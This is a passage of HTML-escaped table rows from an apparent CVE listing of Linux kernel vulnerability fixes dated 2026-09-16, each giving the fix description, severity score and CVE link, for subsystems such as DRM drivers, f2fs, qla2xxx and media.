&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89793&quot; target=&quot;_blank&quot;&gt;CVE-2026-89793&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Disable preemption in bpf_get_stackid The get_perf_callchain call needs disabled preemption plus we need it disabled as long as we access its returned trace entries buffer. Note the bpf_get_stackid_pe function is executed already with preemption disabled.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89799&quot; target=&quot;_blank&quot;&gt;CVE-2026-89799&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/nouveau/uvmm: fix premature region free on failed OP_UNMAP_SPARSE In nouveau_uvmm_bind_job_submit()&#039;s OP_UNMAP_SPARSE arm, op-&amp;gt;reg is set from nouveau_uvma_region_find(), which only looks the region up and takes no reference; a region&#039;s sole reference is its membership in uvmm-&amp;gt;region_mt. Two failure paths leave op-&amp;gt;reg set: the -ENOENT check when the region is busy, and the drm_gpuvm_sm_unmap_ops_create() failure. The sibling nouveau_uvmm_sm_unmap_prepare() failure just below clears op-&amp;gt;reg; these two do not. unwind_continue steps back one op, so the failing op is skipped by the unwind loop and its op-&amp;gt;reg stays set. nouveau_uvmm_bind_job_cleanup() then enters its if (op-&amp;gt;reg) branch and calls nouveau_uvma_region_remove() and nouveau_uvma_region_put() on it, dropping the tree&#039;s sole reference and freeing a region this job never created. The comment above the cleanup loop documents the broken invariant: op-&amp;gt;reg must be NULL on submit failure. This frees a live region on an unrelated failure, reachable single-job when drm_gpuvm_sm_unmap_ops_create() returns -ENOMEM; if another job owns the same region, its cleanup then removes and puts the freed region, a use-after-free. Clear op-&amp;gt;reg on both failure paths.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89801&quot; target=&quot;_blank&quot;&gt;CVE-2026-89801&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/nouveau: unsubscribe the channel-kill event before the fence context nouveau_channel_del() tears the fence context down first and only drops the channel-kill subscription later, in the middle of the nvif object teardown: if (chan-&amp;gt;fence) nouveau_fence(chan-&amp;gt;cli-&amp;gt;drm)-&amp;gt;context_del(chan); ... nvif_object_dtor(&amp;amp;chan-&amp;gt;vram); nvif_event_dtor(&amp;amp;chan-&amp;gt;kill); The subscribed handler is nouveau_channel_killed(), which calls nouveau_channel_kill() and from there nouveau_fence_context_kill() on chan-&amp;gt;fence. A kill event delivered in that window takes fctx-&amp;gt;lock and walks fctx-&amp;gt;pending on a fence context that context_del() has already freed. Nothing reaches this below Fermi today, because the subscription is gated on FERMI_CHANNEL_GPFIFO and nothing kills a channel there. On Fermi and newer the window is real but narrow, since a kill has to land exactly while the channel is being destroyed. That is reason enough on its own, which is why this carries a Fixes: tag. The last patch in this series subscribes Tesla channels as well; nothing kills those today, so it does not widen the exposure now, but it is the groundwork for a recovery path that would, and the ordering is better fixed before that lands than alongside it. Drop the subscription before anything it depends on is torn down.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89803&quot; target=&quot;_blank&quot;&gt;CVE-2026-89803&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/pagemap: Fix folio allocation fallback and use-after-put drm_pagemap_migrate_populate_ram_pfn() had two issues when populating RAM PFNs with higher-order folios: 1. The higher-order vma_alloc_folio()/folio_alloc() calls did not pass __GFP_NOWARN, so a THP allocation failure under memory pressure would spam the kernel log, and there was no fallback path despite a TODO comment stating one was needed. Add __GFP_NOWARN to the higher-order allocation and, on failure, fall back to order-0 allocations for the entire range originally covered by the failed higher-order allocation, leaving MIGRATE_PFN_COMPOUND unset for those PFNs. 2. In the free_pages error path, order was computed via folio_order(page_folio(page)) *after* put_page(page) had already dropped the reference, resulting in a use-after-free/put when that was the last reference on the page. Compute order before releasing the page. Introducing the fallback in 1. also requires the source page array handed to -&amp;gt;copy_to_ram() to be built differently. Both callers only populated the entry at the head of each source folio, relying on the copy callback to derive the rest of the folio from the order recorded in the matching drm_pagemap_addr. Once the destination has been demoted to order-0 folios the drm_pagemap_addr entries are per-page, so a source page is needed for every one of them; leaving them NULL makes the copy callback stop after the first page and the remainder of the range is never copied. The source folio is only split later, by migrate_vma_pages() / migrate_device_pages(), so its order cannot be used to detect the demotion - test the destination for MIGRATE_PFN_COMPOUND instead. Factor the array population out into drm_pagemap_migrate_populate_src_pages() and use it from both drm_pagemap_evict_to_ram() and __drm_pagemap_migrate_to_ram().&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89805&quot; target=&quot;_blank&quot;&gt;CVE-2026-89805&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Fix the case that vm range is hole at svm_migrate_copy_to_vram When migration vm range is hole at cpu side(MIGRATE_PFN_MIGRATE set + MIGRATE_PFN_VALID unset) driver still allocates device pages. There is no dma map of src pages and migration. j is 0 and svm_migrate_copy_memory_gart() will return an uninitialized r. That can trigger out_free_vram_pages to drop all VRAM just set up. Initialize r and only call the last svm_migrate_copy_memory_gart if j &amp;gt; 0. Current code postponed the last page to the final copy. This patch flushes on the last page when reach to the end of current drm_buddy_block; avoids another svm_migrate_copy_memory_gart.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89808&quot; target=&quot;_blank&quot;&gt;CVE-2026-89808&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Fix error path at svm_migrate_copy_to_ram If page migration from device to sys ram fails for some reasons driver needs release and unlock allocated system pages. To do that driver should use page physical address, or pfn, then get struct page*. Current driver uses dma address(for adev) that is not correct with IOMMU enabled, or even in general. The patch releases and unlocks allocated system pages based on where migration failed by struct page* of sys ram pages. Also dma_unmap correspodent system ram pages at error path.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89810&quot; target=&quot;_blank&quot;&gt;CVE-2026-89810&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: clamp the isolation index for rings outside a partition adev-&amp;gt;isolation[] has one slot per partition, but a ring that is not assigned to one keeps AMDGPU_XCP_NO_PARTITION, which is ~0, so indexing the array with it is out of bounds. SDMA submissions hit this on both the isolation enforcement and the VM flush path and trip UBSAN. Fall back to the first slot the way the cleaner shader path already does, and stop taking the address before the ring type check that makes it relevant.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89814&quot; target=&quot;_blank&quot;&gt;CVE-2026-89814&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/ttm: Drop tt-&amp;gt;restore after successful restore ttm_pool_restore_and_alloc() can successfully complete the restore process via ttm_pool_restore_commit(), but tt-&amp;gt;restore is not dropped afterward. As a result, subsequent backup/restore flows observe what appears to be a completed restore, while in reality shmem handles are still installed in tt-&amp;gt;pages, leading to the stack trace below. Fix this by freeing and dropping tt-&amp;gt;restore in ttm_pool_restore_and_alloc() upon successful completion of the restore. 20545 [&amp;nbsp; 309.784531] RIP: 0010:sg_alloc_append_table_from_pages+0x38c/0x490 20547 [&amp;nbsp; 309.809570] RSP: 0018:ffffc9000623b838 EFLAGS: 00010206 20548 [&amp;nbsp; 309.814827] RAX: 0000000000001000 RBX: ffff88816e42a160 RCX: 0000000000000000 20549 [&amp;nbsp; 309.821986] RDX: 0000000000002000 RSI: 0000000000000003 RDI: 0000000000001000 20550 [&amp;nbsp; 309.829147] RBP: ffff88816e42a168 R08: 0000000000000002 R09: 000000007ffff000 20551 [&amp;nbsp; 309.836310] R10: ffffc9000623b928 R11: 0000000000000000 R12: 000000007ffff000 20552 [&amp;nbsp; 309.843471] R13: ffff88815ba5a100 R14: 0000000000000000 R15: 0000000000000001 20553 [&amp;nbsp; 309.850634] FS:&amp;nbsp; 00007f9ff305e700(0000) GS:ffff888276c94000(0000) knlGS:0000000000000000 20554 [&amp;nbsp; 309.858749] CS:&amp;nbsp; 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 20555 [&amp;nbsp; 309.864519] CR2: 00007f9fca701000 CR3: 00000001565e2005 CR4: 0000000008f70ef0 20556 [&amp;nbsp; 309.871678] PKRU: 55555558 20557 [&amp;nbsp; 309.874403] Call Trace: 20558 [&amp;nbsp; 309.876866]&amp;nbsp; &amp;lt;TASK&amp;gt; 20559 [&amp;nbsp; 309.878988]&amp;nbsp; sg_alloc_table_from_pages_segment+0x60/0x100 20560 [&amp;nbsp; 309.884415]&amp;nbsp; ? ttm_resource_manager_usage+0x36/0x60 [ttm] 20561 [&amp;nbsp; 309.889845]&amp;nbsp; ? xe_tt_map_sg+0x7d/0xd0 [xe] 20562 [&amp;nbsp; 309.894045]&amp;nbsp; xe_tt_map_sg+0x7d/0xd0 [xe] 20563 [&amp;nbsp; 309.898037]&amp;nbsp; xe_bo_move+0x927/0xaa0 [xe] 20564 [&amp;nbsp; 309.902029]&amp;nbsp; ttm_bo_handle_move_mem+0xba/0x170 [ttm] 20565 [&amp;nbsp; 309.907022]&amp;nbsp; ttm_bo_validate+0xbe/0x190 [ttm] 20566 [&amp;nbsp; 309.911405]&amp;nbsp; xe_bo_validate+0x9a/0x120 [xe] 20567 [&amp;nbsp; 309.915663]&amp;nbsp; xe_gpuvm_validate+0xd9/0x140 [xe] 20568 [&amp;nbsp; 309.920206]&amp;nbsp; drm_gpuvm_validate+0x2f0/0x5b0 [drm_gpuvm] 20569 [&amp;nbsp; 309.925459]&amp;nbsp; ? drm_exec_lock_obj+0x63/0x210 [drm_exec] 20570 [&amp;nbsp; 309.930627]&amp;nbsp; xe_vm_validate_rebind+0x46/0xb0 [xe] 20571 [&amp;nbsp; 309.935428]&amp;nbsp; xe_exec_fn+0x20/0x40 [xe] 20572 [&amp;nbsp; 309.939249]&amp;nbsp; drm_gpuvm_exec_lock+0x78/0xc0 [drm_gpuvm] 20573 [&amp;nbsp; 309.944410]&amp;nbsp; xe_validation_exec_lock+0x5a/0xa0 [xe] 20574 [&amp;nbsp; 309.949385]&amp;nbsp; xe_exec_ioctl+0x806/0xc30 [xe] 20575 [&amp;nbsp; 309.953639]&amp;nbsp; ? ttwu_queue_wakelist+0xd9/0xf0 20576 [&amp;nbsp; 309.957935]&amp;nbsp; ? __pfx_xe_exec_fn+0x10/0x10 [xe] 20577 [&amp;nbsp; 309.962449]&amp;nbsp; ? __wake_up_common+0x73/0xa0 20578 [&amp;nbsp; 309.966482]&amp;nbsp; ? __pfx_xe_exec_ioctl+0x10/0x10 [xe] 20579 [&amp;nbsp; 309.971263]&amp;nbsp; drm_ioctl_kernel+0xa3/0x100 20580 [&amp;nbsp; 309.975209]&amp;nbsp; drm_ioctl+0x213/0x440 20581 [&amp;nbsp; 309.978637]&amp;nbsp; ? __pfx_xe_exec_ioctl+0x10/0x10 [xe] 20582 [&amp;nbsp; 309.983415]&amp;nbsp; xe_drm_ioctl+0x67/0xd0 [xe] 20583 [&amp;nbsp; 309.987408]&amp;nbsp; __x64_sys_ioctl+0x7f/0xd0&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89815&quot; target=&quot;_blank&quot;&gt;CVE-2026-89815&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu/vcn: fix integer overflow in dec_msg buffer count check If the supplied msg[2] (num_buffers) is 0x3FFFFFFF, the expression 6 + num_buffers * 4 wraps to 2 and the bounds check passes, letting the parser loop far past the end of the message BO. Triggering it additionally requires a ~4GiB mapping so that msg[1] survives the earlier &quot;header does not fit in BO&quot; check. Rewrite the test in division form, which is overflow-free by construction. Also update the message to reflect that msg is invalid.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89818&quot; target=&quot;_blank&quot;&gt;CVE-2026-89818&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: validate plane degamma LUT size for private color prop Unlike the CRTC degamma path, which is guarded by amdgpu_dm_verify_lut_sizes(), the per-plane degamma LUT size was never validated before use. __set_dm_plane_degamma() passed the user-supplied size straight into __is_lut_linear() and, for a non-linear LUT, into __set_input_tf() -&amp;gt; __drm_lut_to_dc_gamma(), the latter always iterating MAX_COLOR_LUT_ENTRIES entries regardless of the actual LUT size. A malformed AMD_PLANE_DEGAMMA_LUT blob (e.g. a single entry) could thus trigger a divide-by-zero in __is_lut_linear() or an out-of-bounds read in __drm_lut_to_dc_gamma(). Reject any plane degamma LUT whose size does not match MAX_COLOR_LUT_ENTRIES, mirroring the invariant the code already asserts a few lines below (and which the CRTC path enforces). The AMD_PLANE_DEGAMMA_LUT property is only exposed on builds with AMD_PRIVATE_COLOR defined.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89819&quot; target=&quot;_blank&quot;&gt;CVE-2026-89819&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm: fix race between partial drm_dev_register() failure and ioctl If drm_dev_register() fails after registering a minor (e.g. render minor registered, primary minor fails), userspace could have opened the first minor and entered a drm_dev_enter() critical section. Since the unplugged flag was never set, the ioctl proceeds while the error path tears down device resources. Fix this by introducing drm_dev_synchronize_unplug(), which sets the unplugged flag and waits for the SRCU barrier, ensuring all in-flight drm_dev_enter() critical sections complete before cleanup proceeds; call it on the error path of drm_dev_register().&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89823&quot; target=&quot;_blank&quot;&gt;CVE-2026-89823&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/panthor: fix firmware control interface bounds checks panthor_init_cs_iface() and panthor_init_csg_iface() validate firmware control interface offsets with 32-bit arithmetic and the size of the host wrapper structures. The offsets are derived from firmware-provided strides, so the arithmetic can wrap before the bounds check, and the host wrapper size is not the size of the firmware control interface being mapped. Use 64-bit arithmetic for the computed offsets and validate against the actual firmware control interface structure sizes with subtraction-based bounds checks. Also validate that the shared section is large enough for the global control interface before using it.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89825&quot; target=&quot;_blank&quot;&gt;CVE-2026-89825&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/panthor: harden firmware build-info bounds checks panthor_fw_read_build_info() checks whether the metadata range fits in the firmware image with hdr.meta_start + hdr.meta_size. Both fields are u32, so the addition can wrap and let an out-of-bounds range pass validation. The function also reads the &quot;git_sha: &quot; prefix without first checking that the metadata is long enough, and meta_size == 0 can underflow the NULL terminator index. Use subtraction-based bounds checking and reject metadata that is too short to contain the expected prefix and trailing NULL byte.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89826&quot; target=&quot;_blank&quot;&gt;CVE-2026-89826&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: f2fs: fix to pass folio-&amp;gt;index to f2fs_sanity_check_node_footer() Otherwise in f2fs_sanity_check_node_footer(), it will check the same nid incorrectly.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89829&quot; target=&quot;_blank&quot;&gt;CVE-2026-89829&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: f2fs: fix to clear dirty flag on folio in error path If node block is corrupted due to chksum mismatch or inconsistent footer info, it needs to drop clear flag of node folio, in order to persist inconsistent node data to storage.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89832&quot; target=&quot;_blank&quot;&gt;CVE-2026-89832&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: f2fs: fix folio_nr_pages() race after put in large folio invalidate Our v6.18 based Android system is continuely suffering livelock and bad page stat as shown in[1] which related to broken xarray slot status. By investigating big folio operations within f2fs, we find below races and fix it by get the nr_pages before drop the refcount and folio_lock. f2fs_get_read_data_folio() calls f2fs_folio_put() before folio_nr_pages() when invalidating a large folio from the page cache. That unlocks the folio and drops the caller reference, leaving a window where a concurrent truncate or folio split can shrink the compound folio or free it before the invalidate range is computed. An undersized range then leaves split sub-folios in mapping-&amp;gt;i_pages, which can later interact badly with truncate and reclaim (stale xarray entries and bad page state when folio-&amp;gt;mapping no longer matches the mapping being truncated). [1] PID: 2594 TASK: ffffff8169b81580 CPU: 7 COMMAND: &quot;Thread-3&quot; #0 [ffffffc08ef2b8a0] xas_load at ffffffe52d1f42a4 #1 [ffffffc08ef2b900] find_get_entries at ffffffe52c185798 #2 [ffffffc08ef2bb60] truncate_inode_pages_range at ffffffe52c19e83c #3 [ffffffc08ef2bbc0] truncate_inode_pages_final at ffffffe52c19ec2c #4 [ffffffc08ef2bc20] f2fs_evict_inode at ffffffe52c4c8400 #5 [ffffffc08ef2bcc0] evict at ffffffe52c2de9f4 #6 [ffffffc08ef2bd00] iput at ffffffe52c2db1b4 #7 [ffffffc08ef2bd30] dentry_unlink_inode at ffffffe52c2d7204 #8 [ffffffc08ef2bd50] __dentry_kill at ffffffe52c2d3dcc #9 [ffffffc08ef2bd80] dput at ffffffe52c2d3c3c #10 [ffffffc08ef2bda0] __fput at ffffffe52c2b0a7c #11 [ffffffc08ef2bde0] ____fput at ffffffe52c2b1034 #12 [ffffffc08ef2bdf0] task_work_run at ffffffe52beea200 #13 [ffffffc08ef2be20] exit_to_user_mode_loop at ffffffe52bfbc17c #14 [ffffffc08ef2be80] el0_svc at ffffffe52d1f8e54 #15 [ffffffc08ef2beb0] el0t_64_sync_handler at ffffffe52d1f8d10&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89836&quot; target=&quot;_blank&quot;&gt;CVE-2026-89836&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: f2fs: limit recovery filename logging to stored length F2FS stores recovery filenames as a length plus a fixed-size i_name buffer. The buffer is not NUL-terminated, but recover_inode() and recover_dentry() print it with %s. For a 255-byte filename, recovery logging can read past i_name into the following raw inode fields. Print the name with a precision bounded by i_namelen and F2FS_NAME_LEN.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89838&quot; target=&quot;_blank&quot;&gt;CVE-2026-89838&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: f2fs: validate MOVE_RANGE destination size F2FS_IOC_MOVE_RANGE checks the source range, but not the destination end before updating i_size. A source hole can expose this: __clone_blkaddrs() skips NULL_ADDR entries and returns success, so the caller can still extend the destination inode with unchecked pos_out + len. Reject destination overflow and use inode_newsize_ok() before extending the destination inode.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89840&quot; target=&quot;_blank&quot;&gt;CVE-2026-89840&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: f2fs: only redirty pinned folios in redirty_blocks redirty_blocks() pins folios with read_cache_folio() and then walks the same range again with filemap_lock_folio() to redirty them and drop the references it took. Commit 5951fee46bef (&quot;f2fs: Use a folio in redirty_blocks()&quot;) changed the second pass to a do/while loop. If read_cache_folio() fails before anything is pinned, page_idx does not advance but the cleanup loop still runs once. If readahead has already populated the failed folio in page cache, that extra iteration finds it and folio_put_refs(folio, 2) drops one reference too many. Later drop_caches or reclaim can then report &quot;BUG: Bad page state&quot;. Only redirty the range that was pinned successfully.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89841&quot; target=&quot;_blank&quot;&gt;CVE-2026-89841&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Fix cs84xx use-after-free on host teardown qla84xx_put_chip() drops the last reference to ha-&amp;gt;cs84xx and frees it via __qla84xx_chip_release() without clearing ha-&amp;gt;cs84xx. During teardown it ran before scsi_remove_host(), which is what removes the 84xx_fw_version host sysfs attribute. A concurrent read of that attribute in the window between the two calls executes qla24xx_84xx_fw_version_show(), which dereferences the freed ha-&amp;gt;cs84xx, resulting in a use-after-free. Move qla84xx_put_chip() to after scsi_remove_host() in both qla2x00_remove_one() and qla2x00_disable_board_on_pci_error(). Once scsi_remove_host() returns, the sysfs attribute is gone and kernfs has drained any in-flight show(), so no reader can touch cs84xx; the put still runs before the host and ha are freed.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89854&quot; target=&quot;_blank&quot;&gt;CVE-2026-89854&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: edif: Fix NULL pointer deref in RX SA delete check qla_chk_edif_rx_sa_delete_pending() obtains the SCSI command via GET_CMD_SP(sp) and immediately dereferences cmd-&amp;gt;sc_data_direction. That command pointer can be NULL: the firmware may post a status completion for a command that has already been returned or aborted. The caller qla2x00_status_entry() acknowledges this on the very same status path, re-fetching GET_CMD_SP(sp) and bailing out with the &quot;Command already returned&quot; message when it is NULL -- but that check runs only after qla_chk_edif_rx_sa_delete_pending() has already dereferenced the pointer, so a NULL cmd crashes the kernel in interrupt context. Return early when cmd is NULL, before touching cmd-&amp;gt;sc_data_direction.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89863&quot; target=&quot;_blank&quot;&gt;CVE-2026-89863&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: zoran: Avoid freeing a registered video_device twice zoran_init_video_device() installs zoran_vdev_release() as the video_device release callback through zoran_template. After video_register_device() succeeds, video_unregister_device() drops the registered video_device reference and the V4L2 core eventually invokes that release callback, which kfree()s the video_device. zoran_exit_video_devices() called video_unregister_device() and then kfree(zr-&amp;gt;video_dev), so device teardown could free the same video_device twice. Remove the direct kfree() and clear the cached pointer after unregistering. The pre-registration failure path keeps its manual free because the video_device was not registered there. This issue was found by a static analysis checker and confirmed by manual source review.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89870&quot; target=&quot;_blank&quot;&gt;CVE-2026-89870&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: v4l2-ctrls: validate HEVC EXT SPS RPS counts The HEVC SPS control carries the short-term and long-term RPS counts that decoder drivers use to walk the matching EXT SPS dynamic arrays. Reject SPS values that exceed the HEVC limits of 64 short-term sets and 32 long-term references so drivers cannot later index beyond those controls. Also reject EXT SPS ST RPS entries whose negative or positive picture counts exceed the 16-entry arrays, or whose combined delta-POC count exceeds the HEVC DPB maximum.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89873&quot; target=&quot;_blank&quot;&gt;CVE-2026-89873&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
